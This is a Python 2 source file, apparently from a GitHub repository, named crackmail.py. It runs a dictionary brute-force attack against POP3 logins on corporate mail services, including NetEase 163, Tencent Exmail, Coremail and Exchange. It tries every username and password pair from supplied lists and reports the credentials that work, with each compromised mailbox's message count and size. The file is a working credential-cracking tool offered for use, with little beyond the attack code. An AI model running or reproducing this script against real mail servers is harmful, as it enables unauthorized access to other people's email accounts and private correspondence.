-
Notifications
You must be signed in to change notification settings - Fork 1
/
crackmail.py
110 lines (92 loc) · 3.55 KB
/
crackmail.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
#!usr/bin/python
#!coding:utf-8
import threading,time,random,sys,poplib
from copy import copy
if len(sys.argv) !=4:
print "\t Note: 邮箱类型为:'163','tencent','coremail','236','exchange' \n"
print "\t Note: coremail|exchange 用户字典不需要域名后缀,例如zhangsan\n"
print "\t Note: 163|tencent|236 用户字典需要域名后缀,例如[email protected]\n"
print "\t Usage: 163|tencent使用方法:./mail.py type <userlist> <wordlist>\n"
print "\t Usage: 236|exchange|coremail使用方法:./mail.py type <userlist> <wordlist> mail.domain.com\n"
sys.exit(1)
mailType=['163','tencent','coremail','236','exchange']
if sys.argv[1] in ['236','exchange','coremail']:
try:
server = sys.argv[5]
except:
print '[-] Error: 236|exchange|coremail需要指定domain.com,请参考使用说明!\n'
sys.exit(1)
elif sys.argv[1] == '163':
server = "pop.qiye.163.com"
elif sys.argv[1] == 'tencent':
server = "pop.exmail.qq.com"
else :
print "[-] Error: 邮箱类型错误\n"
sys.exit(1)
success = []
try:
users_list = open(sys.argv[2], "r")
users = users_list.readlines()
words_list = open(sys.argv[3], "r")
words = words_list.readlines()
except(IOError):
print "[-] Error: 请检查用户名或密码路径及文件\n"
sys.exit(1)
finally:
users_list.close()
words_list.close()
try:
if sys.argv[1] in ['163','236']:
pop = poplib.POP3(server,110)
else:
pop = poplib.POP3_SSL(server,995)
welcome = pop.getwelcome()
print welcome
pop.quit()
except (poplib.error_proto):
welcome = "[-] Error: No Response,Something wrong!!!\n"
sys.exit(1)
print "[+] Server:",server
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words)
print "[+] Server response:",welcome,"\n"
def mailbruteforce(listuser,listpwd,type):
if len(listuser) < 1 or len(listpwd) < 1 :
print "[-] Error: An error occurred: No user or pass list\n"
return 1
for user in listuser:
for passwd in listpwd :
user = user.replace("\n","")
passwd = passwd.replace("\n","")
try:
print "-"*12
print "[+] User:",user,"Password:",passwd
# time.sleep(0.1)
if type in ['163','236']:
popserver = poplib.POP3(server,110)
else:
popserver = poplib.POP3_SSL(server,995)
popserver.user(user)
auth = popserver.pass_(passwd)
print auth
if auth.split(' ')[0] == "+OK" or auth =="+OK":
ret = (user,passwd,popserver.stat()[0],popserver.stat()[1])
success.append(ret)
#print len(success)
popserver.quit()
break
else :
popserver.quit()
continue
except:
#print "An error occurred:", msg
pass
if __name__ == '__main__':
mailbruteforce(users,words,sys.argv[1])
print "\t[+] have weakpass :\t",len(success)
if len(success) >=1:
for ret in success:
print "\n\n[+] Login successful:",ret[0], ret[1]
print "\t[+] Mail:",ret[2],"emails"
print "\t[+] Size:",ret[3],"bytes\n"
print "\n[-] Done"